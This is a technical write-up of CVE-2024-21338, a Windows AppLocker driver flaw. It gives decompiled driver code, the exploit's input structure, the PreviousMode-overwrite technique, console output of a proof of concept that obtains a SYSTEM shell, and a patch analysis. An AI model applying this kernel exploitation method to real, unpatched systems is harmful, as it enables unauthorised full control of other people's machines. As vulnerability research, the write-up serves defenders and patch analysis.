CVE-2024-21338 - Windows AppLocker Kernel Elevation of Privilege Vulnerability
CVE-2024-21338 is a privilege escalation vulnerability in the Windows AppLocker driver (appid.sys
). The flaw resides in the AipSmartHashImageFile
function, reachable via IOCTL 0x22A018
, which allows user-mode input to control code execution. Specifically, the function dereferences two user-provided pointers from a shared SystemBuffer without verifying their validity or origin. One of these pointers is treated as a function pointer and is called directly from kernel mode.
CVE-2024-21338: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21338
Vulnerability Type: Untrusted Pointer Dereference
Tested On: Windows 11 23H2
Driver Version: appid.sys - 10.0.22621.3155
Requirements
To send the IOCTL request, the IOCTL code was examined and found to have the access flag set to FILE_WRITE_ACCESS
. This means the I/O manager will dispatch the IRP only if the caller has write access rights.
The device’s security descriptor was checked to determine which users have permission to open a handle. It was observed that only the AppIDSvc
and LOCAL SERVICE
accounts have full access and Administrator
does not. As a result, a cmd.exe
session must be run under one of these two accounts to interact with and exploit the device.
One of the simplest methods to achieve this is by using PsExec.exe
to spawn a shell as the LOCAL SERVICE
user.
Vulnerability analysis
The IOCTL request sent to 0x22A018
takes user-supplied input and passes it to the AipSmartHashImageFile()
function.
__int64 __fastcall AipDeviceIoControlDispatch(struct _DEVICE_OBJECT *a1, IRP *_IRP)
{
[::]
case 0x22A018u:
if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control && (HIDWORD(WPP_GLOBAL_Control->Timer) & 2) != 0 )
WPP_SF_(WPP_GLOBAL_Control->AttachedDevice, 27LL, &WPP_1ce862bc955b392889c1b25f85145990_Traceguids);
if ( CurrentStackLocation->Parameters.DeviceIoControl.InputBufferLength == 32 )
{
ConfigOptions = AipSmartHashImageFile((__int64)_IRP->AssociatedIrp.SystemBuffer, 0LL, 0LL, 0LL); // Call to AipSmartHashImageFile with User input
LABEL_103:
v9 = ConfigOptions;
break;
}
LABEL_25:
v9 = -1073741811;
break;
default:
v7 = WPP_GLOBAL_Control;
if ( WPP_GLOBAL_Control == (PDEVICE_OBJECT)&WPP_GLOBAL_Control || (HIDWORD(WPP_GLOBAL_Control->Timer) & 2) == 0 )
goto LABEL_15;
v8 = 28LL;
LABEL_14:
WPP_SF_D(v7->AttachedDevice, v8, &WPP_1ce862bc955b392889c1b25f85145990_Traceguids, LowPart);
LABEL_15:
v9 = -1073741808;
break;
}
[::]
}
Following up, the process takes the following path and performs several checks. The main check happens in appid!AipSmartHashImageFile()
whose primary functionality is passing the value at SystemBuffer + 8
to ObfReferenceObject()
. This routine increments the reference count of the specified object, which implies that the value at SystemBuffer + 8 must be a valid kernel object address. Otherwise, the reference operation will fail or potentially lead to a crash.
AppHashComputeImageHashInternal()
calls the function pointer stored at SystemBuffer + 16
, passing the value at SystemBuffer
(i.e., the first 8 bytes) as an argument.
__int64 __fastcall AppHashComputeImageHashInternal(
__int64 SystemBuffer,
__int64 (__fastcall **SystemBuffer_16)(__int64, __int128 *),
unsigned int a3,
__int64 a4)
{
[::]
__int64 v43; // [rsp+A8h] [rbp+Fh]
v39 = SystemBuffer_16;
*(_QWORD *)v32 = a4;
v40 = SystemBuffer;
v29 = 0;
v37 = 0LL;
v38 = 0LL;
v5 = 0;
v43 = 0LL;
v6 = 0;
v30 = 0;
v33 = 0;
v34 = 0;
LODWORD(v35) = 0;
*(_QWORD *)v41 = 0LL;
v42 = 0LL;
if ( !a3 )
return 0;
v7 = (*SystemBuffer_16)(SystemBuffer, &v42); // Vulnerable function call
[::]
This is a sample structure of how the input should be defined:
typedef struct SMART_HASH_INPUT {
DWORD64 Arguments_Ptr;
PVOID Object_Ptr;
PVOID ExpProfileDelete_Ptr;
DWORD64 PADDING;
} _SMART_HASH_INPUT, *PSMART_HASH_INPUT;
Object_Ptr
must be a valid object pointer that satisfies the expectations ofAipSmartHashImageFile()
.ExpProfileDelete_Ptr
is the API that will be invoked. This call is routed throughguard_dispatch_icall_fpt
, which enforces Kernel Control Flow Guard (KCFG). Thent!ExpProfileDelete()
function ultimately calls theObfDereferenceObjectWithTag
kernel macro.- This macro decrements the reference count field of the object passed to it (located at offset -0x30). This behavior makes it ideal for modifying the
PreviousMode
of a thread—from a user-mode value of 1 to a kernel-mode value of 0. - To achieve this, we need to pass the address of
nt!ExpProfileDelete()
toExpProfileDelete_Ptr
, andArguments_Ptr
must point to theKTHREAD.PreviousMode
field of the current thread.
Exploit
Tested on: Windows 11 22H2 (01-2024 Build) Working POC: https://github.com/ghostbyt3/WinDriver-EXP/tree/main/CVE-2024-21338/POC
PS C:\Users\h4x\Desktop> .\CVE-2024-21338.exe -p 2116
[+] Trying to find Thread ID for the given process PID: 2116
[+] First Thread ID of the process: 2120
[+] NT base address fffff80012400000
[+] Found EPROCESS of the current process FFFFAD85DAFBE080
[+] Found KTHREAD of the current thread FFFFAD85D9335080
[+] Found EPROCESS of the system.exe FFFFAD85D64E8040
[+] Opened a THREAD_DIRECT_IMPERSONATION handle to the LOCAL_SERVICE process
[+] Opening handle to Applocker device
[+] Dummy FILE_OBJECT address: FFFFAD85DBA171D0
[+] Calling AipSmartHashImageFile ....success
[+] Stealing system's Token..
[+] Replacing KTHREAD.PreviousMode as UserMode..
[+] Spawning shell as SYSTEM...
Microsoft Windows [Version 10.0.22621.1]
(c) Microsoft Corporation. All rights reserved.
C:\Users\h4x\Desktop>whoami
nt authority\system
Patch analysis
The patched version adds checks to ensure the input does not originate from user mode and restricts access.
__int64 __fastcall AipDeviceIoControlDispatch(struct _DEVICE_OBJECT *a1, IRP *_IRP)
{
[::]
case 0x22A018:
if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control && (HIDWORD(WPP_GLOBAL_Control->Timer) & 2) != 0 )
WPP_SF_(
(__int64)WPP_GLOBAL_Control->AttachedDevice,
0x1Bu,
(__int64)&WPP_9fed954e24023a5a6dae708fb6376e6f_Traceguids);
if ( (unsigned int)Feature_2959575357__private_IsEnabled() && ExGetPreviousMode() ) // Fix
goto LABEL_20;
if ( CurrentStackLocation->Parameters.DeviceIoControl.InputBufferLength == 32 )
{
ConfigOptions = AipSmartHashImageFile((__int64)IRP->AssociatedIrp.MasterIrp, 0LL, 0LL, 0LL);
LABEL_105:
v8 = ConfigOptions;
break;
}
LABEL_27:
v8 = -1073741811;
break;
[::]
}